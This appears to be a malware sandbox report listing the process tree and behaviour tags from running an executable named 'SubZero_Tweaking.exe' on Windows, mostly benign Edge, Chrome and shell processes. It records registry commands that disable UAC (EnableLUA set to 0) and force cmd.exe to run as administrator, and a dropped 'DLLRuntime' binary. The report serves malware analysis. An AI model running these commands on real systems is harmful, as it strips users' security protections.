C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffe436b46f8,0x7ffe436b4708,0x7ffe436b47184⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2036,5552267319996279359,9916682926357241165,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2228 /prefetch:34⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2036,5552267319996279359,9916682926357241165,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1956 /prefetch:24⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2036,5552267319996279359,9916682926357241165,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2772 /prefetch:84⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2036,5552267319996279359,9916682926357241165,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3304 /prefetch:14⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2036,5552267319996279359,9916682926357241165,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3296 /prefetch:14⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2036,5552267319996279359,9916682926357241165,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4132 /prefetch:84⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2036,5552267319996279359,9916682926357241165,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4132 /prefetch:84⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2036,5552267319996279359,9916682926357241165,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5152 /prefetch:14⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2036,5552267319996279359,9916682926357241165,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5140 /prefetch:14⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2036,5552267319996279359,9916682926357241165,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3508 /prefetch:14⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2036,5552267319996279359,9916682926357241165,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3476 /prefetch:14⤵
-
C:\Users\Public\SubZero_Tweaking.exe"C:\Users\Public\SubZero_Tweaking.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\CA16.tmp\CA27.tmp\CA28.bat C:\Users\Public\SubZero_Tweaking.exe"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\reg.exeC:\Windows\System32\Reg.exe add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" /f /t REG_SZ /v "C:\WINDOWS\system32\cmd.exe" /d "RUNASADMIN"4⤵
-
C:\Windows\system32\mode.commode con: cols=165 lines=484⤵
-
C:\Windows\system32\reg.exeReg.exe ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d "0" /f4⤵
- UAC bypass
-
C:\Windows\system32\reg.exeReg.exe add HKCU\CONSOLE /v VirtualTerminalLevel /t REG_DWORD /d 1 /f4⤵
- Modifies registry key
-
C:\Windows\system32\chcp.comchcp 4374⤵
-
C:\Windows\system32\chcp.comchcp 650014⤵
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffe42d89758,0x7ffe42d89768,0x7ffe42d897782⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1784 --field-trial-handle=1640,i,8115060165354862083,2765586930200862338,131072 /prefetch:22⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2168 --field-trial-handle=1640,i,8115060165354862083,2765586930200862338,131072 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1644 --field-trial-handle=1640,i,8115060165354862083,2765586930200862338,131072 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3160 --field-trial-handle=1640,i,8115060165354862083,2765586930200862338,131072 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3124 --field-trial-handle=1640,i,8115060165354862083,2765586930200862338,131072 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4616 --field-trial-handle=1640,i,8115060165354862083,2765586930200862338,131072 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=4768 --field-trial-handle=1640,i,8115060165354862083,2765586930200862338,131072 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4820 --field-trial-handle=1640,i,8115060165354862083,2765586930200862338,131072 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --mojo-platform-channel-handle=4708 --field-trial-handle=1640,i,8115060165354862083,2765586930200862338,131072 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"1⤵
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\rundll32.exeC:\Windows\system32\rundll32.exe C:\Windows\system32\PcaSvc.dll,PcaPatchSdbTask1⤵
-
C:\Users\Admin\AppData\Roaming\DLLRuntimeC:\Users\Admin\AppData\Roaming\DLLRuntime1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\DLLRuntimeC:\Users\Admin\AppData\Roaming\DLLRuntime1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Users\Admin\AppData\Roaming\DLLRuntimeC:\Users\Admin\AppData\Roaming\DLLRuntime1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\explorer.exeexplorer.exe1⤵
- Modifies Installed Components in the registry
- Enumerates connected drives
- Checks SCSI registry key(s)
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x3d0 0x49c1⤵
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {3eef301f-b596-4c0b-bd92-013beafce793} -Embedding1⤵
-
C:\Windows\system32\wbem\WmiApSrv.exeC:\Windows\system32\wbem\WmiApSrv.exe1⤵
-
C:\Users\Admin\AppData\Roaming\DLLRuntimeC:\Users\Admin\AppData\Roaming\DLLRuntime1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\DLLRuntimeC:\Users\Admin\AppData\Roaming\DLLRuntime1⤵
- Executes dropped EXE
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\DLLRuntimeC:\Users\Admin\AppData\Roaming\DLLRuntime1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\DLLRuntimeC:\Users\Admin\AppData\Roaming\DLLRuntime1⤵
- Executes dropped EXE
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -s TermService1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -s TermService1⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\DLLRuntimeC:\Users\Admin\AppData\Roaming\DLLRuntime1⤵
- Executes dropped EXE
-
C:\Windows\explorer.exeexplorer.exe1⤵
- Modifies Installed Components in the registry
- Enumerates connected drives
- Checks SCSI registry key(s)
- Modifies registry class
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\explorer.exeexplorer.exe1⤵
- Modifies Installed Components in the registry
- Enumerates connected drives
- Checks SCSI registry key(s)
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\explorer.exeexplorer.exe1⤵
- Modifies Installed Components in the registry
- Enumerates connected drives
- Checks SCSI registry key(s)
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\explorer.exeexplorer.exe1⤵
- Modifies Installed Components in the registry
- Enumerates connected drives
- Checks SCSI registry key(s)
- Modifies registry class
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\explorer.exeexplorer.exe1⤵
- Modifies Installed Components in the registry
- Enumerates connected drives
- Checks SCSI registry key(s)
- Modifies registry class
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca1⤵
-
C:\Windows\explorer.exeexplorer.exe1⤵
- Modifies Installed Components in the registry
- Enumerates connected drives
- Checks SCSI registry key(s)
- Modifies registry class
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\explorer.exeexplorer.exe1⤵
- Modifies Installed Components in the registry
- Enumerates connected drives
- Checks SCSI registry key(s)
- Modifies registry class
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\DLLRuntimeC:\Users\Admin\AppData\Roaming\DLLRuntime1⤵
- Executes dropped EXE
-
C:\Windows\explorer.exeexplorer.exe1⤵
- Modifies Installed Components in the registry
- Enumerates connected drives
- Checks SCSI registry key(s)
- Modifies registry class
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca1⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
C:\Windows\explorer.exeexplorer.exe1⤵
- Modifies Installed Components in the registry
- Enumerates connected drives
- Checks SCSI registry key(s)
- Modifies registry class
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\explorer.exeexplorer.exe1⤵
- Modifies Installed Components in the registry
- Enumerates connected drives
- Checks SCSI registry key(s)
- Modifies registry class
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\explorer.exeexplorer.exe1⤵
- Modifies Installed Components in the registry
- Enumerates connected drives
- Checks SCSI registry key(s)
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\explorer.exeexplorer.exe1⤵
- Modifies Installed Components in the registry
- Enumerates connected drives
- Checks SCSI registry key(s)
- Modifies registry class
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\explorer.exeexplorer.exe1⤵
- Modifies Installed Components in the registry
- Enumerates connected drives
- Checks SCSI registry key(s)
- Modifies registry class
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\explorer.exeexplorer.exe1⤵
- Modifies Installed Components in the registry
- Enumerates connected drives
- Checks SCSI registry key(s)
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca1⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
C:\Windows\explorer.exeexplorer.exe1⤵
- Modifies Installed Components in the registry
- Enumerates connected drives
-
